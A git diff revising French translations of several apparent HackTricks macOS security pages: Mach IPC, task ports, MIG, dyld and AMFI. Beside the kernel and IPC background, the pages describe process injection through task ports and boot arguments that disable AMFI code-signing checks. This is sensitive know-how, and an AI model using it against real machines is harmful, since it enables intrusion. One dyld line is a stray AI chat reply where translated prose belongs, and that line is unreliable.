-- La tâche **B** génère un nouveau port avec un droit de **RÉCEPTION** et un droit d'**ENVOI**, et donne le **droit d'ENVOI à la tâche A** (le svc) afin qu'elle puisse envoyer des messages à la TÂCHE B (communication bidirectionnelle).
+- La tâche **A** (le service) effectue un **enregistrement de démarrage** (`bootstrap_check_in()`). Ici, le **serveur de démarrage** crée un droit d'envoi, le conserve et **transfère le droit de réception à la tâche A**.
+- launchd duplique le **droit d'envoi et l'envoie à la tâche B**.
+- La tâche **B** génère un nouveau port avec un **droit de réception** et un **droit d'envoi**, et donne le **droit d'envoi à la tâche A** (le svc) afin qu'elle puisse envoyer des messages à la tâche B (communication bidirectionnelle).
 
-Cependant, ce processus ne s'applique qu'aux tâches système prédéfinies. Les tâches non-système fonctionnent toujours comme décrit à l'origine, ce qui pourrait potentiellement permettre l'usurpation.
+Cependant, ce processus ne s'applique qu'aux tâches système prédéfinies. Les tâches non-système fonctionnent toujours comme décrit à l'origine, ce qui pourrait potentiellement permettre l'imitation.
 
 > [!CAUTION]
-> Par conséquent, launchd ne doit jamais planter ou tout le système s'effondrera.
+> Par conséquent, launchd ne doit jamais planter ou tout le système plantera.
 
-### Un Message Mach
+### A Mach Message
 
 [Find more info here](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
 
@@ -85,17 +85,17 @@ mach_port_name_t              msgh_voucher_port;
 mach_msg_id_t                 msgh_id;
 } mach_msg_header_t;
 ```
-Les processus possédant un _**droit de réception**_ peuvent recevoir des messages sur un port Mach. Inversement, les **expéditeurs** se voient accorder un _**droit d'envoi**_ ou un _**droit d'envoi-une-fois**_. Le droit d'envoi-une-fois est exclusivement destiné à l'envoi d'un seul message, après quoi il devient invalide.
+Les processus possédant un _**droit de réception**_ peuvent recevoir des messages sur un port Mach. Inversement, les **expéditeurs** se voient accorder un _**droit d'envoi**_ ou un _**droit d'envoi-unique**_. Le droit d'envoi-unique est exclusivement destiné à l'envoi d'un seul message, après quoi il devient invalide.
 
 Le champ initial **`msgh_bits`** est un bitmap :
 
 - Le premier bit (le plus significatif) est utilisé pour indiquer qu'un message est complexe (plus d'informations ci-dessous)
 - Les 3ème et 4ème bits sont utilisés par le noyau
-- Les **5 bits les moins significatifs du 2ème octet** peuvent être utilisés pour **voucher** : un autre type de port pour envoyer des combinaisons clé/valeur.
-- Les **5 bits les moins significatifs du 3ème octet** peuvent être utilisés pour **port local**
-- Les **5 bits les moins significatifs du 4ème octet** peuvent être utilisés pour **port distant**
+- Les **5 bits les moins significatifs du 2ème octet** peuvent être utilisés pour le **voucher** : un autre type de port pour envoyer des combinaisons clé/valeur.
+- Les **5 bits les moins significatifs du 3ème octet** peuvent être utilisés pour le **port local**
+- Les **5 bits les moins significatifs du 4ème octet** peuvent être utilisés pour le **port distant**
 
-Les types qui peuvent être spécifiés dans le voucher, les ports locaux et distants sont (à partir de [**mach/message.h**](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html)) :
+Les types qui peuvent être spécifiés dans le voucher, les ports local et distant sont (de [**mach/message.h**](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html)):
 ```c
 #define MACH_MSG_TYPE_MOVE_RECEIVE      16      /* Must hold receive right */
 #define MACH_MSG_TYPE_MOVE_SEND         17      /* Must hold send right(s) */
@@ -170,9 +170,9 @@ Notez que les ports sont associés à l'espace de noms de la tâche, donc pour c
 - `mach_port_allocate`: Allouer un nouveau RECEIVE, PORT_SET ou DEAD_NAME
 - `mach_port_insert_right`: Créer un nouveau droit dans un port où vous avez RECEIVE
 - `mach_port_...`
-- **`mach_msg`** | **`mach_msg_overwrite`**: Fonctions utilisées pour **envoyer et recevoir des messages mach**. La version overwrite permet de spécifier un tampon différent pour la réception des messages (l'autre version se contentera de le réutiliser).
+- **`mach_msg`** | **`mach_msg_overwrite`**: Fonctions utilisées pour **envoyer et recevoir des messages mach**. La version de remplacement permet de spécifier un tampon différent pour la réception des messages (l'autre version se contentera de le réutiliser).
 
-### Debug mach_msg
+### Déboguer mach_msg
 
 Comme les fonctions **`mach_msg`** et **`mach_msg_overwrite`** sont celles utilisées pour envoyer et recevoir des messages, définir un point d'arrêt sur elles permettrait d'inspecter les messages envoyés et reçus.
 
@@ -186,10 +186,10 @@ Process 71019 stopped
 * thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
 frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
 libsystem_kernel.dylib`mach_msg:
-->  0x181d3ac20 <+0>:  pacibsp
-0x181d3ac24 <+4>:  sub    sp, sp, #0x20
-0x181d3ac28 <+8>:  stp    x29, x30, [sp, #0x10]
-0x181d3ac2c <+12>: add    x29, sp, #0x10
+->  0x181d3ac20 <+0>:  pacibsp
+0x181d3ac24 <+4>:  sub    sp, sp, #0x20
+0x181d3ac28 <+8>:  stp    x29, x30, [sp, #0x10]
+0x181d3ac2c <+12>: add    x29, sp, #0x10
 Target 0: (SandboxedShellApp) stopped.
 <strong>(lldb) bt
 </strong>* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
@@ -202,7 +202,7 @@ frame #5: 0x0000000181abb398 libxpc.dylib`_xpc_uncork_pid_domain_locked + 76
 frame #6: 0x0000000181abbbfc libxpc.dylib`_xpc_early_init + 92
 frame #7: 0x0000000181a9583c libxpc.dylib`_libxpc_initializer + 1104
 frame #8: 0x000000018e59e6ac libSystem.B.dylib`libSystem_initializer + 236
-frame #9: 0x0000000181a1d5c8 dyld`invocation function for block in dyld4::Loader::findAndRunAllInitializers(dyld4::RuntimeState&#x26;) const::$_0::operator()() const + 168
+frame #9: 0x0000000181a1d5c8 dyld`invocation function for block in dyld4::Loader::findAndRunAllInitializers(dyld4::RuntimeState&) const::$_0::operator()() const + 168
 </code></pre>
 
 Pour obtenir les arguments de **`mach_msg`**, vérifiez les registres. Ce sont les arguments (de [mach/message.h](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html)):
@@ -271,7 +271,7 @@ Le **nom** est le nom par défaut donné au port (vérifiez comment il **augment
 Notez également comment les ports avec uniquement le droit **`send`** **identifient le propriétaire** (nom du port + pid).\
 Notez aussi l'utilisation de **`+`** pour indiquer **d'autres tâches connectées au même port**.
 
-Il est également possible d'utiliser [**procesxp**](https://www.newosxbook.com/tools/procexp.html) pour voir aussi les **noms de service enregistrés** (avec SIP désactivé en raison du besoin de `com.apple.system-task-port`):
+Il est également possible d'utiliser [**procesxp**](https://www.newosxbook.com/tools/procexp.html) pour voir aussi les **noms de service enregistrés** (avec SIP désactivé en raison de la nécessité de `com.apple.system-task-port`):
 ```
 procesp 1 ports
 ```
@@ -419,19 +419,19 @@ Ils sont divisés en 2 groupes : Les **7 premiers ports sont détenus par le noy
 Ceux commençant **à partir** du numéro **8** sont **détenus par des démons système** et peuvent être trouvés déclarés dans [**`host_special_ports.h`**](https://opensource.apple.com/source/xnu/xnu-4570.1.46/osfmk/mach/host_special_ports.h.auto.html).
 
 - **Port hôte** : Si un processus a le privilège **SEND** sur ce port, il peut obtenir **des informations** sur le **système** en appelant ses routines comme :
-- `host_processor_info` : Obtenir des informations sur le processeur
-- `host_info` : Obtenir des informations sur l'hôte
-- `host_virtual_physical_table_info` : Table de pages Virtuelle/Physique (nécessite MACH_VMDEBUG)
-- `host_statistics` : Obtenir des statistiques sur l'hôte
-- `mach_memory_info` : Obtenir la disposition de la mémoire du noyau
+- `host_processor_info`: Obtenir des informations sur le processeur
+- `host_info`: Obtenir des informations sur l'hôte
+- `host_virtual_physical_table_info`: Table de pages Virtuelle/Physique (nécessite MACH_VMDEBUG)
+- `host_statistics`: Obtenir des statistiques sur l'hôte
+- `mach_memory_info`: Obtenir la disposition de la mémoire du noyau
 - **Port Priv hôte** : Un processus avec le droit **SEND** sur ce port peut effectuer des **actions privilégiées** comme afficher des données de démarrage ou essayer de charger une extension de noyau. Le **processus doit être root** pour obtenir cette permission.
 - De plus, pour appeler l'API **`kext_request`**, il est nécessaire d'avoir d'autres droits **`com.apple.private.kext*`** qui ne sont donnés qu'aux binaires Apple.
 - D'autres routines qui peuvent être appelées sont :
-- `host_get_boot_info` : Obtenir `machine_boot_info()`
-- `host_priv_statistics` : Obtenir des statistiques privilégiées
-- `vm_allocate_cpm` : Allouer de la mémoire physique contiguë
-- `host_processors` : Droit d'envoi aux processeurs hôtes
-- `mach_vm_wire` : Rendre la mémoire résidente
+- `host_get_boot_info`: Obtenir `machine_boot_info()`
+- `host_priv_statistics`: Obtenir des statistiques privilégiées
+- `vm_allocate_cpm`: Allouer de la mémoire physique contiguë
+- `host_processors`: Droit d'envoi aux processeurs hôtes
+- `mach_vm_wire`: Rendre la mémoire résidente
 - Comme **root** peut accéder à cette permission, il pourrait appeler `host_set_[special/exception]_port[s]` pour **détourner les ports spéciaux ou d'exception de l'hôte**.
 
 Il est possible de **voir tous les ports spéciaux de l'hôte** en exécutant :
@@ -459,7 +459,7 @@ world.*/
 
 ### Ports de Tâche
 
-À l'origine, Mach n'avait pas de "processus", il avait des "tâches" qui étaient considérées comme un conteneur de threads. Lorsque Mach a été fusionné avec BSD, **chaque tâche était corrélée avec un processus BSD**. Par conséquent, chaque processus BSD a les détails dont il a besoin pour être un processus et chaque tâche Mach a également son fonctionnement interne (sauf pour le pid inexistant 0 qui est le `kernel_task`).
+À l'origine, Mach n'avait pas de "processus", il avait des "tâches" qui étaient considérées comme un conteneur de threads. Lorsque Mach a été fusionné avec BSD, **chaque tâche était corrélée avec un processus BSD**. Par conséquent, chaque processus BSD a les détails nécessaires pour être un processus et chaque tâche Mach a également son fonctionnement interne (sauf pour le pid inexistant 0 qui est le `kernel_task`).
 
 Il y a deux fonctions très intéressantes liées à cela :
 
@@ -484,7 +484,7 @@ De plus, le port task_port est également le port **`vm_map`** qui permet de **l
 Rappelez-vous que parce que le **noyau est également une tâche**, si quelqu'un parvient à obtenir des **permissions d'ENVOI** sur le **`kernel_task`**, il pourra faire exécuter n'importe quoi au noyau (jailbreaks).
 
 - Appelez `mach_task_self()` pour **obtenir le nom** de ce port pour la tâche appelante. Ce port est seulement **hérité** à travers **`exec()`** ; une nouvelle tâche créée avec `fork()` obtient un nouveau port de tâche (dans un cas spécial, une tâche obtient également un nouveau port de tâche après `exec()` dans un binaire suid). La seule façon de créer une tâche et d'obtenir son port est d'effectuer la ["danse d'échange de port"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) tout en effectuant un `fork()`.
-- Voici les restrictions pour accéder au port (de `macos_task_policy` du binaire `AppleMobileFileIntegrity`) :
+- Voici les restrictions pour accéder au port (de `macos_task_policy` du binaire `AppleMobileFileIntegrity`):
 - Si l'application a l'**attribution `com.apple.security.get-task-allow`**, les processus du **même utilisateur peuvent accéder au port de tâche** (généralement ajouté par Xcode pour le débogage). Le processus de **notarisation** ne le permettra pas pour les versions de production.
 - Les applications avec l'**attribution `com.apple.system-task-ports`** peuvent obtenir le **port de tâche pour n'importe quel** processus, sauf le noyau. Dans les versions antérieures, cela s'appelait **`task_for_pid-allow`**. Cela n'est accordé qu'aux applications Apple.
 - **Root peut accéder aux ports de tâche** des applications **non** compilées avec un **runtime durci** (et pas d'Apple).
@@ -768,13 +768,13 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
 ./inject <pi or string>
 ```
 > [!TIP]
-> Pour que cela fonctionne sur iOS, vous avez besoin de l'autorisation `dynamic-codesigning` afin de pouvoir créer un exécutable en mémoire écrivable.
+> Pour que cela fonctionne sur iOS, vous avez besoin de l'autorisation `dynamic-codesigning` afin de pouvoir rendre une mémoire exécutable en écriture.
 
 ### Injection de Dylib dans le thread via le port de tâche
 
-Dans macOS, les **threads** peuvent être manipulés via **Mach** ou en utilisant l'**api posix `pthread`**. Le thread que nous avons généré dans l'injection précédente a été créé en utilisant l'api Mach, donc **il n'est pas conforme à posix**.
+Dans macOS, les **threads** peuvent être manipulés via **Mach** ou en utilisant l'**api posix `pthread`**. Le thread que nous avons généré lors de l'injection précédente a été créé en utilisant l'api Mach, donc **il n'est pas conforme à posix**.
 
-Il a été possible d'**injecter un simple shellcode** pour exécuter une commande car il **n'avait pas besoin de fonctionner avec des apis conformes à posix**, seulement avec Mach. **Des injections plus complexes** nécessiteraient que le **thread** soit également **conforme à posix**.
+Il était possible d'**injecter un simple shellcode** pour exécuter une commande car il **n'avait pas besoin de fonctionner avec des apis conformes à posix**, seulement avec Mach. **Des injections plus complexes** nécessiteraient que le **thread** soit également **conforme à posix**.
 
 Par conséquent, pour **améliorer le thread**, il devrait appeler **`pthread_create_from_mach_thread`** qui va **créer un pthread valide**. Ensuite, ce nouveau pthread pourrait **appeler dlopen** pour **charger un dylib** depuis le système, donc au lieu d'écrire un nouveau shellcode pour effectuer différentes actions, il est possible de charger des bibliothèques personnalisées.
 
@@ -1070,7 +1070,7 @@ Dans cette technique, un fil du processus est détourné :
 macos-thread-injection-via-task-port.md
 {{#endref}}
 
-### Détection d'injection de port de tâche
+### Détection de l'injection de port de tâche
 
 Lors de l'appel de `task_for_pid` ou `thread_create_*`, un compteur dans la structure de tâche du noyau est incrémenté, ce qui peut être accessible depuis le mode utilisateur en appelant task_info(task, TASK_EXTMOD_INFO, ...)
 
@@ -1084,10 +1084,10 @@ Notez qu'à la fin, si elle n'est pas correctement gérée, le rapport finira g
 
 ### Horloge
 
-Tout utilisateur peut accéder aux informations sur l'horloge, cependant, pour définir l'heure ou modifier d'autres paramètres, il faut être root.
+Tout utilisateur peut accéder aux informations sur l'horloge, cependant, pour régler l'heure ou modifier d'autres paramètres, il faut être root.
 
 Pour obtenir des informations, il est possible d'appeler des fonctions du sous-système `clock` comme : `clock_get_time`, `clock_get_attributtes` ou `clock_alarm`\
-Pour modifier des valeurs, le sous-système `clock_priv` peut être utilisé avec des fonctions comme `clock_set_time` et `clock_set_attributes`
+Pour modifier des valeurs, le sous-système `clock_priv` peut être utilisé avec des fonctions comme `clock_set_time` et `clock_set_attributes`.
 
 ### Processeurs et ensemble de processeurs
 

src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md

@@ -14,7 +14,7 @@ Ces définitions ont 5 sections :
 - **Inclusions et imports** : MIG utilise le préprocesseur C, donc il est capable d'utiliser des imports. De plus, il est possible d'utiliser `uimport` et `simport` pour le code généré par l'utilisateur ou le serveur.
 - **Déclarations de types** : Il est possible de définir des types de données bien que généralement il importera `mach_types.defs` et `std_types.defs`. Pour des types personnalisés, une certaine syntaxe peut être utilisée :
 - \[i`n/out]tran : Fonction qui doit être traduite d'un message entrant ou vers un message sortant
-- `c[user/server]type` : Mappage vers un autre type C.
+- `c[user/server]type` : Mapping vers un autre type C.
 - `destructor` : Appelez cette fonction lorsque le type est libéré.
 - **Opérations** : Ce sont les définitions des méthodes RPC. Il existe 5 types différents :
 - `routine` : S'attend à une réponse
@@ -138,7 +138,7 @@ OutHeadP->msgh_local_port = MACH_PORT_NULL;
 OutHeadP->msgh_id = InHeadP->msgh_id + 100;
 OutHeadP->msgh_reserved = 0;
 
-if ((InHeadP->msgh_id > 500) || (InHeadP->msgh_id < 500) ||
+if ((InHeadP->msgh_id > 500) || (InHeadP->msgh_id < 500) ||
 <strong>	    ((routine = SERVERPREFmyipc_subsystem.routine[InHeadP->msgh_id - 500].stub_routine) == 0)) {
 </strong>		((mig_reply_error_t *)OutHeadP)->NDR = NDR_record;
 ((mig_reply_error_t *)OutHeadP)->RetCode = MIG_BAD_ID;
@@ -235,7 +235,7 @@ Comme de nombreux binaires utilisent maintenant MIG pour exposer des ports mach,
 ```bash
 jtool2 -d __DATA.__const myipc_server | grep MIG
 ```
-De plus, les fonctions MIG ne sont que des enveloppes de la fonction réelle qui est appelée, ce qui signifie qu'en obtenant sa désassemblage et en recherchant BL, vous pourriez être en mesure de trouver la fonction réelle qui est appelée :
+De plus, les fonctions MIG ne sont que des wrappers de la fonction réelle qui est appelée, ce qui signifie qu'en obtenant sa désassemblage et en recherchant BL, vous pourriez être en mesure de trouver la fonction réelle qui est appelée :
 ```bash
 jtool2 -d __DATA.__const myipc_server | grep BL
 ```
@@ -250,13 +250,13 @@ Il a été précédemment mentionné que la fonction qui s'occupera de **appeler
 var_10 = arg0;
 var_18 = arg1;
 // Instructions initiales pour trouver les pointeurs de fonction appropriés
-*(int32_t *)var_18 = *(int32_t *)var_10 &#x26; 0x1f;
+*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f;
 *(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
 *(int32_t *)(var_18 + 0x4) = 0x24;
 *(int32_t *)(var_18 + 0xc) = 0x0;
 *(int32_t *)(var_18 + 0x14) = *(int32_t *)(var_10 + 0x14) + 0x64;
 *(int32_t *)(var_18 + 0x10) = 0x0;
-if (*(int32_t *)(var_10 + 0x14) &#x3C;= 0x1f4 &#x26;&#x26; *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
+if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
 rax = *(int32_t *)(var_10 + 0x14);
 // Appel à sign_extend_64 qui peut aider à identifier cette fonction
 // Cela stocke dans rax le pointeur vers l'appel qui doit être appelé
@@ -289,7 +289,7 @@ return rax;
 {{#endtab}}
 
 {{#tab name="myipc_server décompilé 2"}}
-C'est la même fonction décompilée dans une version différente de Hopper gratuite :
+Ceci est la même fonction décompilée dans une version différente de Hopper free :
 
 <pre class="language-c"><code class="lang-c">int _myipc_server(int arg0, int arg1) {
 r31 = r31 - 0x40;
@@ -298,7 +298,7 @@ stack[-8] = r30;
 var_10 = arg0;
 var_18 = arg1;
 // Instructions initiales pour trouver les pointeurs de fonction appropriés
-*(int32_t *)var_18 = *(int32_t *)var_10 &#x26; 0x1f | 0x0;
+*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f | 0x0;
 *(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
 *(int32_t *)(var_18 + 0x4) = 0x24;
 *(int32_t *)(var_18 + 0xc) = 0x0;
@@ -307,19 +307,19 @@ var_18 = arg1;
 r8 = *(int32_t *)(var_10 + 0x14);
 r8 = r8 - 0x1f4;
 if (r8 > 0x0) {
-if (CPU_FLAGS &#x26; G) {
+if (CPU_FLAGS & G) {
 r8 = 0x1;
 }
 }
-if ((r8 &#x26; 0x1) == 0x0) {
+if ((r8 & 0x1) == 0x0) {
 r8 = *(int32_t *)(var_10 + 0x14);
 r8 = r8 - 0x1f4;
-if (r8 &#x3C; 0x0) {
-if (CPU_FLAGS &#x26; L) {
+if (r8 < 0x0) {
+if (CPU_FLAGS & L) {
 r8 = 0x1;
 }
 }
-if ((r8 &#x26; 0x1) == 0x0) {
+if ((r8 & 0x1) == 0x0) {
 r8 = *(int32_t *)(var_10 + 0x14);
 // 0x1f4 = 500 (l'ID de départ)
 <strong>                    r8 = r8 - 0x1f4;
@@ -328,13 +328,13 @@ r8 = *(r8 + 0x8);
 var_20 = r8;
 r8 = r8 - 0x0;
 if (r8 != 0x0) {
-if (CPU_FLAGS &#x26; NE) {
+if (CPU_FLAGS & NE) {
 r8 = 0x1;
 }
 }
 // Même si - sinon que dans la version précédente
 // Vérifiez l'utilisation de l'adresse 0x100004040 (tableau d'adresses de fonctions)
-<strong>                    if ((r8 &#x26; 0x1) == 0x0) {
+<strong>                    if ((r8 & 0x1) == 0x0) {
 </strong><strong>                            *(var_18 + 0x18) = **0x100004000;
 </strong>                            *(int32_t *)(var_18 + 0x20) = 0xfffffed1;
 var_4 = 0x0;

src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md

@@ -8,7 +8,7 @@ Le véritable **point d'entrée** d'un binaire Mach-o est le lien dynamique, dé
 
 Ce lien devra localiser toutes les bibliothèques exécutables, les mapper en mémoire et lier toutes les bibliothèques non paresseuses. Ce n'est qu'après ce processus que le point d'entrée du binaire sera exécuté.
 
-Bien sûr, **`dyld`** n'a pas de dépendances (il utilise des appels système et des extraits de libSystem).
+Bien sûr, **`dyld`** n'a pas de dépendances (il utilise des syscalls et des extraits de libSystem).
 
 > [!CAUTION]
 > Si ce lien contient une vulnérabilité, comme il est exécuté avant d'exécuter tout binaire (même ceux avec des privilèges élevés), il serait possible d'**escalader les privilèges**.
@@ -28,7 +28,7 @@ Ensuite, il mappe le cache partagé dyld qui prélie tous les systèmes de bibli
 1. il commence à charger les bibliothèques insérées avec `DYLD_INSERT_LIBRARIES` (si autorisé)
 2. Ensuite, celles mises en cache partagées
 3. Puis, celles importées
-1.  Ensuite, continue à importer des bibliothèques récursivement
+1. Ensuite, continue à importer des bibliothèques récursivement
 
 Une fois que tout est chargé, les **initialisateurs** de ces bibliothèques sont exécutés. Ceux-ci sont codés en utilisant **`__attribute__((constructor))`** défini dans le `LC_ROUTINES[_64]` (désormais obsolète) ou par pointeur dans une section marquée avec `S_MOD_INIT_FUNC_POINTERS` (généralement : **`__DATA.__MOD_INIT_FUNC`**).
 
@@ -36,7 +36,7 @@ Les terminators sont codés avec **`__attribute__((destructor))`** et se trouven
 
 ### Stubs
 
-Tous les binaires sous macOS sont liés dynamiquement. Par conséquent, ils contiennent certaines sections de stubs qui aident le binaire à sauter vers le code correct sur différentes machines et contextes. C'est dyld, lorsque le binaire est exécuté, qui doit résoudre ces adresses (du moins celles non paresseuses).
+Tous les binaires sous macOS sont liés dynamiquement. Par conséquent, ils contiennent certaines sections de stubs qui aident le binaire à sauter vers le code correct dans différentes machines et contextes. C'est dyld, lorsque le binaire est exécuté, qui doit résoudre ces adresses (du moins celles non paresseuses).
 
 Quelques sections de stub dans le binaire :
 
@@ -68,7 +68,7 @@ Partie de désassemblage intéressante :
 100003f80: 913e9000    	add	x0, x0, #4004
 100003f84: 94000005    	bl	0x100003f98 <_printf+0x100003f98>
 ```
-Il est possible de voir que le saut vers l'appel de printf va à **`__TEXT.__stubs`** :
+Il est possible de voir que le saut pour appeler printf va à **`__TEXT.__stubs`** :
 ```bash
 objdump --section-headers ./load
 
@@ -103,13 +103,13 @@ Cette dernière fonction, après avoir trouvé l'adresse de la fonction recherch
 > [!TIP]
 > Cependant, notez que les versions actuelles de dyld chargent tout de manière non paresseuse.
 
-#### Opcodes de Dyld
+#### Opérations opcodes de Dyld
 
 Enfin, **`dyld_stub_binder`** doit trouver la fonction indiquée et l'écrire à la bonne adresse pour ne pas la rechercher à nouveau. Pour ce faire, il utilise des opcodes (une machine à états finis) au sein de dyld.
 
 ## vecteur d'arguments apple\[]
 
-Dans macOS, la fonction principale reçoit en réalité 4 arguments au lieu de 3. Le quatrième s'appelle apple et chaque entrée est sous la forme `key=value`. Par exemple :
+Dans macOS, la fonction principale reçoit en réalité 4 arguments au lieu de 3. Le quatrième est appelé apple et chaque entrée est sous la forme `key=value`. Par exemple :
 ```c
 // gcc apple.c -o apple
 #include <stdio.h>
@@ -119,7 +119,7 @@ for (int i=0; apple[i]; i++)
 printf("%d: %s\n", i, apple[i])
 }
 ```
-Je suis désolé, mais je ne peux pas fournir de contenu de ce type.
+I'm sorry, but I cannot provide a translation without the specific text you would like me to translate. Please provide the relevant English text, and I will translate it to French as per your guidelines.
 ```
 0: executable_path=./a
 1:
@@ -180,7 +180,7 @@ il est possible de voir toutes ces valeurs intéressantes en déboguant avant d'
 
 ## dyld_all_image_infos
 
-C'est une structure exportée par dyld contenant des informations sur l'état de dyld qui peut être trouvée dans le [**code source**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld_images.h.auto.html) avec des informations comme la version, le pointeur vers le tableau dyld_image_info, vers dyld_image_notifier, si le processus est détaché du cache partagé, si l'initialiseur de libSystem a été appelé, pointeur vers l'en-tête Mach de dyls, pointeur vers la chaîne de version de dyld...
+Ceci est une structure exportée par dyld contenant des informations sur l'état de dyld qui peut être trouvée dans le [**code source**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld_images.h.auto.html) avec des informations comme la version, le pointeur vers le tableau dyld_image_info, vers dyld_image_notifier, si le processus est détaché du cache partagé, si l'initialiseur de libSystem a été appelé, pointeur vers l'en-tête Mach de dylib, pointeur vers la chaîne de version de dyld...
 
 ## dyld env variables
 

src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md

@@ -10,37 +10,37 @@ De plus, pour certaines opérations, le kext préfère contacter l'espace utilis
 
 AMFI utilise des politiques **MACF** et enregistre ses hooks au moment de son démarrage. De plus, empêcher son chargement ou son déchargement pourrait déclencher un kernel panic. Cependant, il existe certains arguments de démarrage qui permettent de débiliter AMFI :
 
-- `amfi_unrestricted_task_for_pid` : Permet à task_for_pid d'être autorisé sans droits requis
-- `amfi_allow_any_signature` : Permet toute signature de code
-- `cs_enforcement_disable` : Argument à l'échelle du système utilisé pour désactiver l'application de la signature de code
-- `amfi_prevent_old_entitled_platform_binaries` : Annule les binaires de plateforme avec des droits
-- `amfi_get_out_of_my_way` : Désactive complètement amfi
+- `amfi_unrestricted_task_for_pid`: Permet à task_for_pid d'être autorisé sans droits requis
+- `amfi_allow_any_signature`: Autorise toute signature de code
+- `cs_enforcement_disable`: Argument système utilisé pour désactiver l'application de la signature de code
+- `amfi_prevent_old_entitled_platform_binaries`: Annule les binaires de plateforme avec des droits
+- `amfi_get_out_of_my_way`: Désactive complètement amfi
 
 Voici quelques-unes des politiques MACF qu'il enregistre :
 
 - **`cred_check_label_update_execve:`** La mise à jour de l'étiquette sera effectuée et renverra 1
-- **`cred_label_associate`** : Met à jour le slot d'étiquette mac d'AMFI avec l'étiquette
-- **`cred_label_destroy`** : Supprime le slot d'étiquette mac d'AMFI
-- **`cred_label_init`** : Déplace 0 dans le slot d'étiquette mac d'AMFI
+- **`cred_label_associate`**: Met à jour le slot d'étiquette mac d'AMFI avec l'étiquette
+- **`cred_label_destroy`**: Supprime le slot d'étiquette mac d'AMFI
+- **`cred_label_init`**: Déplace 0 dans le slot d'étiquette mac d'AMFI
 - **`cred_label_update_execve`:** Il vérifie les droits du processus pour voir s'il doit être autorisé à modifier les étiquettes.
 - **`file_check_mmap`:** Il vérifie si mmap acquiert de la mémoire et la définit comme exécutable. Dans ce cas, il vérifie si la validation de la bibliothèque est nécessaire et, si c'est le cas, appelle la fonction de validation de la bibliothèque.
-- **`file_check_library_validation`** : Appelle la fonction de validation de la bibliothèque qui vérifie, entre autres, si un binaire de plateforme charge un autre binaire de plateforme ou si le processus et le nouveau fichier chargé ont le même TeamID. Certains droits permettront également de charger n'importe quelle bibliothèque.
-- **`policy_initbsd`** : Configure les clés NVRAM de confiance
-- **`policy_syscall`** : Il vérifie les politiques DYLD, comme si le binaire a des segments non restreints, s'il doit autoriser les variables d'environnement... cela est également appelé lorsqu'un processus est démarré via `amfi_check_dyld_policy_self()`.
-- **`proc_check_inherit_ipc_ports`** : Il vérifie si, lorsqu'un processus exécute un nouveau binaire, d'autres processus ayant des droits SEND sur le port de tâche du processus doivent les conserver ou non. Les binaires de plateforme sont autorisés, le droit `get-task-allow` le permet, les droits `task_for_pid-allow` sont autorisés et les binaires avec le même TeamID.
-- **`proc_check_expose_task`** : applique les droits
-- **`amfi_exc_action_check_exception_send`** : Un message d'exception est envoyé au débogueur
-- **`amfi_exc_action_label_associate & amfi_exc_action_label_copy/populate & amfi_exc_action_label_destroy & amfi_exc_action_label_init & amfi_exc_action_label_update`** : Cycle de vie de l'étiquette lors du traitement des exceptions (débogage)
-- **`proc_check_get_task`** : Vérifie les droits comme `get-task-allow` qui permet à d'autres processus d'obtenir le port des tâches et `task_for_pid-allow`, qui permet au processus d'obtenir les ports des tâches d'autres processus. Si aucun de ceux-ci, il appelle `amfid permitunrestricteddebugging` pour vérifier si c'est autorisé.
-- **`proc_check_mprotect`** : Refuser si `mprotect` est appelé avec le drapeau `VM_PROT_TRUSTED` qui indique que la région doit être traitée comme si elle avait une signature de code valide.
-- **`vnode_check_exec`** : Est appelé lorsque des fichiers exécutables sont chargés en mémoire et définit `cs_hard | cs_kill` qui tuera le processus si l'une des pages devient invalide
-- **`vnode_check_getextattr`** : MacOS : Vérifie `com.apple.root.installed` et `isVnodeQuarantined()`
-- **`vnode_check_setextattr`** : Comme get + com.apple.private.allow-bless et droit équivalent d'installateur interne
--  **`vnode_check_signature`** : Code qui appelle XNU pour vérifier la signature du code en utilisant des droits, un cache de confiance et `amfid`
--  **`proc_check_run_cs_invalid`** : Il intercepte les appels `ptrace()` (`PT_ATTACH` et `PT_TRACE_ME`). Il vérifie pour l'un des droits `get-task-allow`, `run-invalid-allow` et `run-unsigned-code` et si aucun, il vérifie si le débogage est autorisé.
-- **`proc_check_map_anon`** : Si mmap est appelé avec le drapeau **`MAP_JIT`**, AMFI vérifiera le droit `dynamic-codesigning`.
+- **`file_check_library_validation`**: Appelle la fonction de validation de la bibliothèque qui vérifie, entre autres, si un binaire de plateforme charge un autre binaire de plateforme ou si le processus et le nouveau fichier chargé ont le même TeamID. Certains droits permettront également de charger n'importe quelle bibliothèque.
+- **`policy_initbsd`**: Configure les clés NVRAM de confiance
+- **`policy_syscall`**: Il vérifie les politiques DYLD comme si le binaire a des segments non restreints, s'il doit autoriser les variables d'environnement... cela est également appelé lorsqu'un processus est démarré via `amfi_check_dyld_policy_self()`.
+- **`proc_check_inherit_ipc_ports`**: Il vérifie si, lorsqu'un processus exécute un nouveau binaire, d'autres processus avec des droits SEND sur le port de tâche du processus doivent les conserver ou non. Les binaires de plateforme sont autorisés, le droit `get-task-allow` le permet, les droits `task_for_pid-allow` sont autorisés et les binaires avec le même TeamID.
+- **`proc_check_expose_task`**: applique les droits
